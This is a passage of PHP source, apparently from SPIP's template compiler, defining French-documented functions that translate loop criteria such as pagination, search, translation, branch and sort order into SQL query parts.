plus joli $x = strpos($boucle->hash, $init_comment); $len = strlen($init_comment); $boucle->hash = substr($boucle->hash, 0, $x + $len) . $init_code . substr($boucle->hash, $x + $len); return; } } // mettre l'ensemble dans un tableau pour que ce ne soit pas vu comme une constante $boucle->where[] = array($debut_doub . $fin_doub . ", '" . $not . "')"); // déclarer le doublon s'il n'existe pas encore $boucle->hash .= $init_comment . $init_code; # la ligne suivante avait l'intention d'eviter une collecte deja faite # mais elle fait planter une boucle a 2 critere doublons: # {!doublons A}{doublons B} # (de http://article.gmane.org/gmane.comp.web.spip.devel/31034) # if ($crit->not) $boucle->doublons = ""; } /** * Compile le critère {lang_select} * * Permet de restreindre ou non une boucle en affichant uniquement * les éléments dans la langue en cours. Certaines boucles * tel que articles et rubriques restreignent par défaut sur la langue * en cours. * * Sans définir de valeur au critère, celui-ci utilise 'oui' comme * valeur par défaut. * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @return void **/ function critere_lang_select_dist($idb, &$boucles, $crit) { if (!isset($crit->param[1][0]) or !($param = $crit->param[1][0]->texte)) { $param = 'oui'; } if ($crit->not) { $param = ($param == 'oui') ? 'non' : 'oui'; } $boucle = &$boucles[$idb]; $boucle->lang_select = $param; } /** * Compile le critère {debut_xxx} * * Limite le nombre d'éléments affichés. * * Ce critère permet de faire commencer la limitation des résultats * par une variable passée dans l’URL et commençant par 'debut_' tel que * {debut_page,10}. Le second paramètre est le nombre de résultats à * afficher. * * Note : il est plus simple d'utiliser le critère pagination. * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @return void **/ function critere_debut_dist($idb, &$boucles, $crit) { list($un, $deux) = $crit->param; $un = $un[0]->texte; $deux = $deux[0]->texte; if ($deux) { $boucles[$idb]->limit = 'intval($Pile[0]["debut' . $un . '"]) . ",' . $deux . '"'; } else { calculer_critere_DEFAUT_dist($idb, $boucles, $crit); } } /** * Compile le critère `pagination` qui demande à paginer une boucle. * * Demande à paginer la boucle pour n'afficher qu'une partie des résultats, * et gère l'affichage de la partie de page demandée par debut_xx dans * dans l'environnement du squelette. * * Le premier paramètre indique le nombre d'éléments par page, le second, * rarement utilisé permet de définir le nom de la variable désignant la * page demandée (`debut_xx`), qui par défaut utilise l'identifiant de la boucle. * * @critere * @see balise_PAGINATION_dist() * @link http://www.spip.net/3367 Le système de pagination * @link http://www.spip.net/4867 Le critère pagination * @example * ``` * {pagination} * {pagination 20} * {pagination #ENV{pages,5}} etc * {pagination 20 #ENV{truc,chose}} pour utiliser la variable debut_#ENV{truc,chose} * ``` * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @return void **/ function critere_pagination_dist($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; // definition de la taille de la page $pas = !isset($crit->param[0][0]) ? "''" : calculer_liste(array($crit->param[0][0]), array(), $boucles, $boucle->id_parent); if (!preg_match(_CODE_QUOTE, $pas, $r)) { $pas = "((\$a = intval($pas)) ? \$a : 10)"; } else { $r = intval($r[2]); $pas = strval($r ? $r : 10); } // Calcul du nommage de la pagination si il existe. // La nouvelle syntaxe {pagination 20, nom} est prise en compte et privilégiée mais on reste // compatible avec l'ancienne car certains cas fonctionnent correctement $type = "'$idb'"; // Calcul d'un nommage spécifique de la pagination si précisé. // Syntaxe {pagination 20, nom} if (isset($crit->param[0][1])) { $type = calculer_liste(array($crit->param[0][1]), array(), $boucles, $boucle->id_parent); } // Ancienne syntaxe {pagination 20 nom} pour compatibilité elseif (isset($crit->param[1][0])) { $type = calculer_liste(array($crit->param[1][0]), array(), $boucles, $boucle->id_parent); } $debut = ($type[0] !== "'") ? "'debut'.$type" : ("'debut" . substr($type, 1)); $boucle->modificateur['debut_nom'] = $type; $partie = // tester si le numero de page demande est de la forme '@yyy' 'isset($Pile[0][' . $debut . ']) ? $Pile[0][' . $debut . '] : _request(' . $debut . ");\n" . "\tif(substr(\$debut_boucle,0,1)=='@'){\n" . "\t\t" . '$debut_boucle = $Pile[0][' . $debut . '] = quete_debut_pagination(\'' . $boucle->primary . '\',$Pile[0][\'@' . $boucle->primary . '\'] = substr($debut_boucle,1),' . $pas . ',$iter);' . "\n" . "\t\t" . '$iter->seek(0);' . "\n" . "\t}\n" . "\t" . '$debut_boucle = intval($debut_boucle)'; $boucle->hash .= ' $command[\'pagination\'] = array((isset($Pile[0][' . $debut . ']) ? $Pile[0][' . $debut . '] : null), ' . $pas . ');'; $boucle->total_parties = $pas; calculer_parties($boucles, $idb, $partie, 'p+'); // ajouter la cle primaire dans le select pour pouvoir gerer la pagination referencee par @id // sauf si pas de primaire, ou si primaire composee // dans ce cas, on ne sait pas gerer une pagination indirecte $t = $boucle->id_table . '.' . $boucle->primary; if ($boucle->primary and !preg_match('/[,\s]/', $boucle->primary) and !in_array($t, $boucle->select) ) { $boucle->select[] = $t; } } /** * Compile le critère `recherche` qui permet de sélectionner des résultats * d'une recherche. * * Le texte cherché est pris dans le premier paramètre `{recherche xx}` * ou à défaut dans la clé `recherche` de l'environnement du squelette. * * @critere * @link http://www.spip.net/3878 * @see inc_prepare_recherche_dist() * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @return void **/ function critere_recherche_dist($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; if (!$boucle->primary or strpos($boucle->primary, ',')) { erreur_squelette(_T('zbug_critere_sur_table_sans_cle_primaire', array('critere' => 'recherche')), $boucle); return; } if (isset($crit->param[0])) { $quoi = calculer_liste($crit->param[0], array(), $boucles, $boucles[$idb]->id_parent); } else { $quoi = '(isset($Pile[0]["recherche"])?$Pile[0]["recherche"]:(isset($GLOBALS["recherche"])?$GLOBALS["recherche"]:""))'; } $_modificateur = var_export($boucle->modificateur, true); $boucle->hash .= ' // RECHERCHE' . ($crit->cond ? ' if (!strlen(' . $quoi . ')){ list($rech_select, $rech_where) = array("0 as points",""); } else' : '') . ' { $prepare_recherche = charger_fonction(\'prepare_recherche\', \'inc\'); list($rech_select, $rech_where) = $prepare_recherche(' . $quoi . ', "' . $boucle->id_table . '", "' . $crit->cond . '","' . $boucle->sql_serveur . '",' . $_modificateur . ',"' . $boucle->primary . '"); } '; $t = $boucle->id_table . '.' . $boucle->primary; if (!in_array($t, $boucles[$idb]->select)) { $boucle->select[] = $t; } # pour postgres, neuneu ici // jointure uniquement sur le serveur principal // (on ne peut joindre une table d'un serveur distant avec la table des resultats du serveur principal) if (!$boucle->sql_serveur) { $boucle->join['resultats'] = array("'" . $boucle->id_table . "'", "'id'", "'" . $boucle->primary . "'"); $boucle->from['resultats'] = 'spip_resultats'; } $boucle->select[] = '$rech_select'; //$boucle->where[]= "\$rech_where?'resultats.id=".$boucle->id_table.".".$boucle->primary."':''"; // et la recherche trouve $boucle->where[] = '$rech_where?$rech_where:\'\''; } /** * Compile le critère `traduction` * * Sélectionne toutes les traductions de l'élément courant (la boucle englobante) * en différentes langues (y compris l'élément englobant) * * Équivalent à `(id_trad>0 AND id_trad=id_trad(precedent)) OR id_xx=id_xx(precedent)` * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @return void **/ function critere_traduction_dist($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; $prim = $boucle->primary; $table = $boucle->id_table; $arg = kwote(calculer_argument_precedent($idb, 'id_trad', $boucles)); $dprim = kwote(calculer_argument_precedent($idb, $prim, $boucles)); $boucle->where[] = array( "'OR'", array( "'AND'", array("'='", "'$table.id_trad'", 0), array("'='", "'$table.$prim'", $dprim) ), array( "'AND'", array("'>'", "'$table.id_trad'", 0), array("'='", "'$table.id_trad'", $arg) ) ); } /** * Compile le critère {origine_traduction} * * Sélectionne les éléments qui servent de base à des versions traduites * (par exemple les articles "originaux" sur une boucle articles) * * Équivalent à (id_trad>0 AND id_xx=id_trad) OR (id_trad=0) * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @return void **/ function critere_origine_traduction_dist($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; $prim = $boucle->primary; $table = $boucle->id_table; $c = array( "'OR'", array("'='", "'$table." . "id_trad'", "'$table.$prim'"), array("'='", "'$table.id_trad'", "'0'") ); $boucle->where[] = ($crit->not ? array("'NOT'", $c) : $c); } /** * Compile le critère {meme_parent} * * Sélectionne les éléments ayant le même parent que la boucle parente, * c'est à dire les frères et sœurs. * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @return void **/ function critere_meme_parent_dist($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; $arg = kwote(calculer_argument_precedent($idb, 'id_parent', $boucles)); $id_parent = isset($GLOBALS['exceptions_des_tables'][$boucle->id_table]['id_parent']) ? $GLOBALS['exceptions_des_tables'][$boucle->id_table]['id_parent'] : 'id_parent'; $mparent = $boucle->id_table . '.' . $id_parent; if ($boucle->type_requete == 'rubriques' or isset($GLOBALS['exceptions_des_tables'][$boucle->id_table]['id_parent'])) { $boucle->where[] = array("'='", "'$mparent'", $arg); } // le cas FORUMS est gere dans le plugin forum, dans la fonction critere_FORUMS_meme_parent_dist() else { return (array('zbug_critere_inconnu', array('critere' => $crit->op . ' ' . $boucle->type_requete))); } } /** * Compile le critère `branche` qui sélectionne dans une boucle les * éléments appartenant à une branche d'une rubrique. * * Cherche l'identifiant de la rubrique en premier paramètre du critère `{branche XX}` * s'il est renseigné, sinon, sans paramètre (`{branche}` tout court) dans les * boucles parentes. On calcule avec lui la liste des identifiants * de rubrique de toute la branche. * * La boucle qui possède ce critère cherche une liaison possible avec * la colonne `id_rubrique`, et tentera de trouver une jointure avec une autre * table si c'est nécessaire pour l'obtenir. * * Ce critère peut être rendu optionnel avec `{branche ?}` en remarquant * cependant que le test s'effectue sur la présence d'un champ 'id_rubrique' * sinon d'une valeur 'id_rubrique' dans l'environnement (et non 'branche' * donc). * * @link http://www.spip.net/@branche * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @return void **/ function critere_branche_dist($idb, &$boucles, $crit) { $not = $crit->not; $boucle = &$boucles[$idb]; // prendre en priorite un identifiant en parametre {branche XX} if (isset($crit->param[0])) { $arg = calculer_liste($crit->param[0], array(), $boucles, $boucles[$idb]->id_parent); // sinon on le prend chez une boucle parente } else { $arg = kwote(calculer_argument_precedent($idb, 'id_rubrique', $boucles), $boucle->sql_serveur, 'int NOT NULL'); } //Trouver une jointure $champ = "id_rubrique"; $desc = $boucle->show; //Seulement si necessaire if (!array_key_exists($champ, $desc['field'])) { $cle = trouver_jointure_champ($champ, $boucle); $trouver_table = charger_fonction("trouver_table", "base"); $desc = $trouver_table($boucle->from[$cle]); if (count(trouver_champs_decomposes($champ, $desc)) > 1) { $decompose = decompose_champ_id_objet($champ); $champ = array_shift($decompose); $boucle->where[] = array("'='", _q($cle . "." . reset($decompose)), '"' . sql_quote(end($decompose)) . '"'); } } else { $cle = $boucle->id_table; } $c = "sql_in('$cle" . ".$champ', calcul_branche_in($arg)" . ($not ? ", 'NOT'" : '') . ")"; $boucle->where[] = !$crit->cond ? $c : ("($arg ? $c : " . ($not ? "'0=1'" : "'1=1'") . ')'); } /** * Compile le critère `logo` qui liste les objets qui ont un logo * * @uses lister_objets_avec_logos() * Pour obtenir les éléments qui ont un logo * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @return void **/ function critere_logo_dist($idb, &$boucles, $crit) { $not = $crit->not; $boucle = &$boucles[$idb]; $c = "sql_in('" . $boucle->id_table . '.' . $boucle->primary . "', lister_objets_avec_logos('" . $boucle->primary . "'), '')"; if ($crit->cond) { $c = "($arg ? $c : 1)"; } if ($not) { $boucle->where[] = array("'NOT'", $c); } else { $boucle->where[] = $c; } } /** * Compile le critère `fusion` qui regroupe les éléments selon une colonne. * * C'est la commande SQL «GROUP BY» * * @critere * @link http://www.spip.net/5166 * @example * ``` * <BOUCLE_a(articles){fusion lang}> * ``` * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @return void **/ function critere_fusion_dist($idb, &$boucles, $crit) { if ($t = isset($crit->param[0])) { $t = $crit->param[0]; if ($t[0]->type == 'texte') { $t = $t[0]->texte; if (preg_match("/^(.*)\.(.*)$/", $t, $r)) { $t = table_objet_sql($r[1]); $t = array_search($t, $boucles[$idb]->from); if ($t) { $t .= '.' . $r[2]; } } } else { $t = '".' . calculer_critere_arg_dynamique($idb, $boucles, $t) . '."'; } } if ($t) { $boucles[$idb]->group[] = $t; if (!in_array($t, $boucles[$idb]->select)) { $boucles[$idb]->select[] = $t; } } else { return (array('zbug_critere_inconnu', array('critere' => $crit->op . ' ?'))); } } /** * Compile le critère `{collecte}` qui permet de spécifier l'interclassement * à utiliser pour les tris de la boucle. * * Cela permet avec le critère `{par}` de trier un texte selon * l'interclassement indiqué. L'instruction s'appliquera sur les critères `{par}` * qui succèdent ce critère, ainsi qu'au critère `{par}` précédent * si aucun interclassement ne lui est déjà appliqué. * * Techniquement, c'est la commande SQL "COLLATE" qui utilisée. * (elle peut être appliquée sur les order by, group by, where, like ...) * * @example * - `{par titre}{collecte utf8_spanish_ci}` ou `{collecte utf8_spanish_ci}{par titre}` * - `{par titre}{par surtitre}{collecte utf8_spanish_ci}` : * Seul 'surtitre' (`par` précédent) utilisera l'interclassement * - `{collecte utf8_spanish_ci}{par titre}{par surtitre}` : * 'titre' et 'surtitre' utiliseront l'interclassement (tous les `par` suivants) * * @note * Piège sur une éventuelle écriture peu probable : * `{par a}{collecte c1}{par b}{collecte c2}` : le tri `{par b}` * utiliserait l'interclassement c1 (et non c2 qui ne s'applique pas * au `par` précédent s'il a déjà un interclassement demandé). * * @critere * @link http://www.spip.net/4028 * @see critere_par_dist() Le critère `{par}` * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle */ function critere_collecte_dist($idb, &$boucles, $crit) { if (isset($crit->param[0])) { $_coll = calculer_liste($crit->param[0], array(), $boucles, $boucles[$idb]->id_parent); $boucle = $boucles[$idb]; $boucle->modificateur['collate'] = "($_coll ?' COLLATE '.$_coll:'')"; $n = count($boucle->order); if ($n && (strpos($boucle->order[$n - 1], 'COLLATE') === false)) { // l'instruction COLLATE doit être placée avant ASC ou DESC // notamment lors de l'utilisation `{!par xxx}{collate yyy}` if ( (false !== $i = strpos($boucle->order[$n - 1], 'ASC')) OR (false !== $i = strpos($boucle->order[$n - 1], 'DESC')) ) { $boucle->order[$n - 1] = substr_replace($boucle->order[$n - 1], "' . " . $boucle->modificateur['collate'] . " . ' ", $i, 0); } else { $boucle->order[$n - 1] .= " . " . $boucle->modificateur['collate']; } } } else { return (array('zbug_critere_inconnu', array('critere' => $crit->op . " " . count($boucles[$idb]->order)))); } } // http://code.spip.net/@calculer_critere_arg_dynamique function calculer_critere_arg_dynamique($idb, &$boucles, $crit, $suffix = '') { $boucle = $boucles[$idb]; $alt = "('" . $boucle->id_table . '.\' . $x' . $suffix . ')'; $var = '$champs_' . $idb; $desc = (strpos($boucle->in, "static $var =") !== false); if (!$desc) { $desc = $boucle->show['field']; $desc = implode(',', array_map('_q', array_keys($desc))); $boucles[$idb]->in .= "\n\tstatic $var = array(" . $desc . ");"; } if ($desc) { $alt = "(in_array(\$x, $var) ? $alt :(\$x$suffix))"; } $arg = calculer_liste($crit, array(), $boucles, $boucle->id_parent); return "((\$x = preg_replace(\"/\\W/\",'', $arg)) ? $alt : '')"; } /** * Compile le critère `{par}` qui permet d'ordonner les résultats d'une boucle * * Demande à trier la boucle selon certains champs (en SQL, la commande `ORDER BY`). * Si plusieurs tris sont demandés (plusieurs fois le critère `{par x}{par y}` dans une boucle ou plusieurs champs * séparés par des virgules dans le critère `{par x, y, z}`), ils seront appliqués dans l'ordre. * * Quelques particularités : * - `{par hasard}` : trie par hasard * - `{par num titre}` : trie par numéro de titre * - `{par multi titre}` : trie par la langue extraite d'une balise polyglotte `<multi>` sur le champ titre * - `{!par date}` : trie par date inverse en utilisant le champ date principal déclaré pour la table (si c'est un objet éditorial). * - `{!par points}` : trie par pertinence de résultat de recherche (avec le critère `{recherche}`) * - `{par FUNCTION_SQL(n)}` : trie en utilisant une fonction SQL (peut dépendre du moteur SQL utilisé). * Exemple : `{par SUBSTRING_INDEX(titre, ".", -1)}` (tri ~ alphabétique en ignorant les numéros de titres * (exemple erroné car faux dès qu'un titre possède un point.)). * - `{par table.champ}` : trie en effectuant une jointure sur la table indiquée. * - `{par #BALISE}` : trie sur la valeur retournée par la balise (doit être un champ de la table, ou 'hasard'). * * @example * - `{par titre}` * - `{!par date}` * - `{par num titre, multi titre, hasard}` * * @critere * @link http://www.spip.net/5531 * @see critere_tri_dist() Le critère `{tri ...}` * @see critere_inverse_dist() Le critère `{inverse}` * * @uses critere_parinverse() * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle */ function critere_par_dist($idb, &$boucles, $crit) { return critere_parinverse($idb, $boucles, $crit); } /** * Calculs pour le critère `{par}` ou `{inverse}` pour ordonner les résultats d'une boucle * * Les expressions intermédiaires `{par expr champ}` sont calculées dans des fonctions * `calculer_critere_par_expression_{expr}()` notamment `{par num champ}` ou `{par multi champ}`. * * @see critere_par_dist() Le critère `{par}` pour des exemples * * @uses calculer_critere_arg_dynamique() pour le calcul de `{par #ENV{tri}}` * @uses calculer_critere_par_hasard() pour le calcul de `{par hasard}` * @uses calculer_critere_par_champ() * @see calculer_critere_par_expression_num() pour le calcul de `{par num x}` * @see calculer_critere_par_expression_multi() pour le calcul de `{par multi x}` * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle */ function critere_parinverse($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; $sens = $collecte = ''; if ($crit->not) { $sens = " . ' DESC'"; } if (isset($boucle->modificateur['collate'])) { $collecte = ' . ' . $boucle->modificateur['collate']; } // Pour chaque paramètre du critère foreach ($crit->param as $tri) { $order = $fct = ''; // tris specifiés dynamiquement {par #ENV{tri}} if ($tri[0]->type != 'texte') { // calculer le order dynamique qui verifie les champs $order = calculer_critere_arg_dynamique($idb, $boucles, $tri, $sens); // ajouter 'hasard' comme possibilité de tri dynamique calculer_critere_par_hasard($idb, $boucles, $crit); } // tris textuels {par titre} else { $par = array_shift($tri); $par = $par->texte; // tris de la forme {par expression champ} tel que {par num titre} ou {par multi titre} if (preg_match(",^(\w+)[\s]+(.*)$,", $par, $m)) { $expression = trim($m[1]); $champ = trim($m[2]); if (function_exists($f = 'calculer_critere_par_expression_' . $expression)) { $order = $f($idb, $boucles, $crit, $tri, $champ); } else { return array('zbug_critere_inconnu', array('critere' => $crit->op . " $par")); } // tris de la forme {par champ} ou {par FONCTION(champ)} } elseif (preg_match(",^" . CHAMP_SQL_PLUS_FONC . '$,is', $par, $match)) { // {par FONCTION(champ)} if (count($match) > 2) { $par = substr($match[2], 1, -1); $fct = $match[1]; } // quelques cas spécifiques {par hasard}, {par date} if ($par == 'hasard') { $order = calculer_critere_par_hasard($idb, $boucles, $crit); } elseif ($par == 'date' and !empty($boucle->show['date'])) { $order = "'" . $boucle->id_table . "." . $boucle->show['date'] . "'"; } else { // cas général {par champ}, {par table.champ}, ... $order = calculer_critere_par_champ($idb, $boucles, $crit, $par); } } // on ne sait pas traiter… else { return array('zbug_critere_inconnu', array('critere' => $crit->op . " $par")); } // En cas d'erreur de squelette retournée par une fonction if (is_array($order)) { return $order; } } if (preg_match('/^\'([^"]*)\'$/', $order, $m)) { $t = $m[1]; if (strpos($t, '.') and !in_array($t, $boucle->select)) { $boucle->select[] = $t; } } else { $sens = ''; } if ($fct) { if (preg_match("/^\s*'(.*)'\s*$/", $order, $r)) { $order = "'$fct(" . $r[1] . ")'"; } else { $order = "'$fct(' . $order . ')'"; } } $t = $order . $collecte . $sens; if (preg_match("/^(.*)'\s*\.\s*'([^']*')$/", $t, $r)) { $t = $r[1] . $r[2]; } $boucle->order[] = $t; } } /** * Calculs pour le critère `{par hasard}` * * Ajoute le générateur d'aléatoire au SELECT de la boucle. * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @return string Clause pour le Order by */ function calculer_critere_par_hasard($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; // Si ce n'est fait, ajouter un champ 'hasard' dans le select $parha = "rand() AS hasard"; if (!in_array($parha, $boucle->select)) { $boucle->select[] = $parha; } return "'hasard'"; } /** * Calculs pour le critère `{par num champ}` qui extrait le numéro préfixant un texte * * Tri par numéro de texte (tel que "10. titre"). Le numéro calculé est ajouté au SELECT * de la boucle. L'écriture `{par num #ENV{tri}}` est aussi prise en compte. * * @note * Les textes sans numéro valent 0 et sont donc placés avant les titres ayant des numéros. * Utiliser `{par sinum champ, num champ}` pour avoir le comportement inverse. * * @see calculer_critere_par_expression_sinum() pour le critère `{par sinum champ}` * @uses calculer_critere_par_champ() * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @param array $tri Paramètre en cours du critère * @param string $champ Texte suivant l'expression ('titre' dans {par num titre}) * @return string Clause pour le Order by */ function calculer_critere_par_expression_num($idb, &$boucles, $crit, $tri, $champ) { $_champ = calculer_critere_par_champ($idb, $boucles, $crit, $champ, true); if (is_array($_champ)) { return array('zbug_critere_inconnu', array('critere' => $crit->op . " num $champ")); } $boucle = &$boucles[$idb]; $texte = '0+' . $_champ; $suite = calculer_liste($tri, array(), $boucles, $boucle->id_parent); if ($suite !== "''") { $texte = "\" . ((\$x = $suite) ? ('$texte' . \$x) : '0')" . " . \""; } $as = 'num' . ($boucle->order ? count($boucle->order) : ""); $boucle->select[] = $texte . " AS $as"; $order = "'$as'"; return $order; } /** * Calculs pour le critère `{par sinum champ}` qui ordonne les champs avec numéros en premier * * Ajoute au SELECT la valeur 'sinum' qui vaut 0 si le champ a un numéro, 1 s'il n'en a pas. * Ainsi `{par sinum titre, num titre, titre}` mettra les éléments sans numéro en fin de liste, * contrairement à `{par num titre, titre}` seulement. * * @see calculer_critere_par_expression_num() pour le critère `{par num champ}` * @uses calculer_critere_par_champ() * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @param array $tri Paramètre en cours du critère * @param string $champ Texte suivant l'expression ('titre' dans {par sinum titre}) * @return string Clause pour le Order by */ function calculer_critere_par_expression_sinum($idb, &$boucles, $crit, $tri, $champ) { $_champ = calculer_critere_par_champ($idb, $boucles, $crit, $champ, true); if (is_array($_champ)) { return array('zbug_critere_inconnu', array('critere' => $crit->op . " sinum $champ")); } $boucle = &$boucles[$idb]; $texte = '0+' . $_champ; $suite = calculer_liste($tri, array(), $boucles, $boucle->id_parent); if ($suite !== "''") { $texte = "\" . ((\$x = $suite) ? ('$texte' . \$x) : '0')" . " . \""; } $as = 'sinum' . ($boucle->order ? count($boucle->order) : ""); $boucle->select[] = 'CASE (' . $texte . ') WHEN 0 THEN 1 ELSE 0 END AS ' . $as; $order = "'$as'"; return $order; } /** * Calculs pour le critère `{par multi champ}` qui extrait la langue en cours dans les textes * ayant des balises `<multi>` (polyglottes) * * Ajoute le calcul du texte multi extrait dans le SELECT de la boucle. * Il ne peut y avoir qu'un seul critère de tri `multi` par boucle. * * @uses calculer_critere_par_champ() * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @param array $tri Paramètre en cours du critère * @param string $champ Texte suivant l'expression ('titre' dans {par multi titre}) * @return string Clause pour le Order by */ function calculer_critere_par_expression_multi($idb, &$boucles, $crit, $tri, $champ) { $_champ = calculer_critere_par_champ($idb, $boucles, $crit, $champ, true); if (is_array($_champ)) { return array('zbug_critere_inconnu', array('critere' => $crit->op . " multi $champ")); } $boucle = &$boucles[$idb]; $boucle->select[] = "\".sql_multi('" . $_champ . "', \$GLOBALS['spip_lang']).\""; $order = "'multi'"; return $order; } /** * Retourne le champ de tri demandé en ajoutant éventuellement les jointures nécessaires à la boucle. * * - si le champ existe dans la table, on l'utilise * - si c'est une exception de jointure, on l'utilise (et crée la jointure au besoin) * - si c'est un champ dont la jointure est déjà présente on la réutilise * - si c'est un champ dont la jointure n'est pas présente, on la crée. * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle * @param string $par Nom du tri à analyser ('champ' ou 'table.champ') * @param bool $raw Retourne le champ pour le compilateur ("'alias.champ'") ou brut ('alias.champ') * @return array|string */ function calculer_critere_par_champ($idb, &$boucles, $crit, $par, $raw = false) { $boucle = &$boucles[$idb]; // le champ existe dans la table, pas de souci (le plus commun) if (isset($desc['field'][$par])) { $par = $boucle->id_table . "." . $par; } // le champ est peut être une jointure else { $table = $table_alias = false; // toutes les tables de jointure possibles $champ = $par; // le champ demandé est une exception de jointure {par titre_mot} if (isset($GLOBALS['exceptions_des_jointures'][$par])) { list($table, $champ) = $GLOBALS['exceptions_des_jointures'][$par]; } // la table de jointure est explicitement indiquée {par truc.muche} elseif (preg_match("/^([^,]*)\.(.*)$/", $par, $r)) { list(, $table, $champ) = $r; $table_alias = $table; // c'est peut-être un alias de table {par L1.titre} $table = table_objet_sql($table); } // Si on connait la table d'arrivée, on la demande donc explicitement // Sinon on cherche le champ dans les tables possibles de jointures // Si la table est déjà dans le from, on la réutilise. if ($infos = chercher_champ_dans_tables($champ, $boucle->from, $boucle->sql_serveur, $table)) { $par = $infos['alias'] . "." . $champ; } elseif ( $boucle->jointures_explicites and $alias = trouver_jointure_champ($champ, $boucle, explode(' ', $boucle->jointures_explicites), false, $table) ) { $par = $alias . "." . $champ; } elseif ($alias = trouver_jointure_champ($champ, $boucle, $boucle->jointures, false, $table)) { $par = $alias . "." . $champ; // en spécifiant directement l'alias {par L2.titre} (situation hasardeuse tout de même) } elseif ( $table_alias and isset($boucle->from[$table_alias]) and $infos = chercher_champ_dans_tables($champ, $boucle->from, $boucle->sql_serveur, $boucle->from[$table_alias]) ) { $par = $infos['alias'] . "." . $champ; } elseif ($table) { // On avait table + champ, mais on ne les a pas trouvés return array('zbug_critere_inconnu', array('critere' => $crit->op . " $par")); } else { // Sinon tant pis, ca doit etre un champ synthetise (cf points) } } return $raw ? $par : "'$par'"; } /** * Retourne un champ de tri en créant une jointure * si la table n'est pas présente dans le from de la boucle. * * @deprecated * @param string $table Table du champ désiré * @param string $champ Champ désiré * @param Boucle $boucle Boucle en cours de compilation * @return string Champ pour le compilateur si trouvé, tel que "'alias.champ'", sinon vide. */ function critere_par_joint($table, $champ, &$boucle) { $t = array_search($table, $boucle->from); if (!$t) { $t = trouver_jointure_champ($champ, $boucle); } return !$t ? '' : ("'" . $t . '.' . $champ . "'"); } /** * Compile le critère `{inverse}` qui inverse l'ordre utilisé par le précédent critère `{par}` * * Accèpte un paramètre pour déterminer le sens : `{inverse #X}` utilisera un tri croissant (ASC) * si la valeur retournée par `#X` est considérée vrai (`true`), * le sens contraire (DESC) sinon. * * @example * - `{par date}{inverse}`, équivalent à `{!par date}` * - `{par date}{inverse #ENV{sens}}` utilise la valeur d'environnement sens pour déterminer le sens. * * @critere * @see critere_par_dist() Le critère `{par}` * @link http://www.spip.net/5530 * @uses critere_parinverse() * * @param string $idb Identifiant de la boucle * @param array $boucles AST du squelette * @param Critere $crit Paramètres du critère dans cette boucle */ function critere_inverse_dist($idb, &$boucles, $crit) { $boucle = &$boucles[$idb]; // Classement par ordre inverse if ($crit->not) { critere_parinverse($idb, $boucles, $crit); } else { $order = "' DESC'"; // Classement par ordre inverse fonction eventuelle de #ENV{...} if (isset($crit->param[0])) { $critere = calculer_liste($crit->param[0], array(), $boucles, $boucles[$idb]->id_parent); $order = "(($critere)?' DESC':'')"; } $n = count($boucle->order); if (!$n) { if (isset($boucle->default_order[0])) { $boucle->default_order[0] .= ' . " DESC"'; } else { $boucle->default_order[] = ' DESC'; } } else { $t = $boucle->order[$n - 1] . " . $order"; if (preg_match("/^(.*)'\s*\.\s*'([^']*')$/", $t, $r)) { $t = $r[1] . $r[2]; } $boucle->order[$n - 1] = $t; } } } // http://code.spip.net/@critere_agenda_dist function critere_agenda_dist($idb, &$boucles, $crit) { $params = $crit->param; if (count($params) < 1) { return array('zbug_critere_inconnu', array('critere' => $crit->op . " ?")); } $boucle = &$boucles[$idb]; $parent = $boucle->id_parent; $fields = $boucle->show['field']; $date = array_shift($params); $type = array_shift($params); // la valeur $type doit etre connue a la compilation // donc etre forcement reduite a un litteral unique dans le source $type = is_object($type[0]) ? $type[0]->texte : null; // La valeur date doit designer un champ de la table SQL. // Si c'est un litteral unique dans le source, verifier a la compil, // sinon synthetiser le test de verif pour execution ulterieure // On prendra arbitrairement le premier champ si test negatif. if ((count($date) == 1) and ($date[0]->type == 'texte')) { $date = $date[0]->texte; if (!isset($fields[$date])) { return array('zbug_critere_inconnu', array('critere' => $crit->op . " " . $date)); } } else { $a = calculer_liste($date, array(), $boucles, $parent); $noms = array_keys($fields); $defaut = $noms[0]; $noms = join(" ", $noms); # bien laisser 2 espaces avant $nom pour que strpos<>0 $cond = "(\$a=strval($a))AND\nstrpos(\" $noms \",\" \$a \")"; $date = "'.(($cond)\n?\$a:\"$defaut\").'"; } $annee = $params ? array_shift($params) : ""; $annee = "\n" . 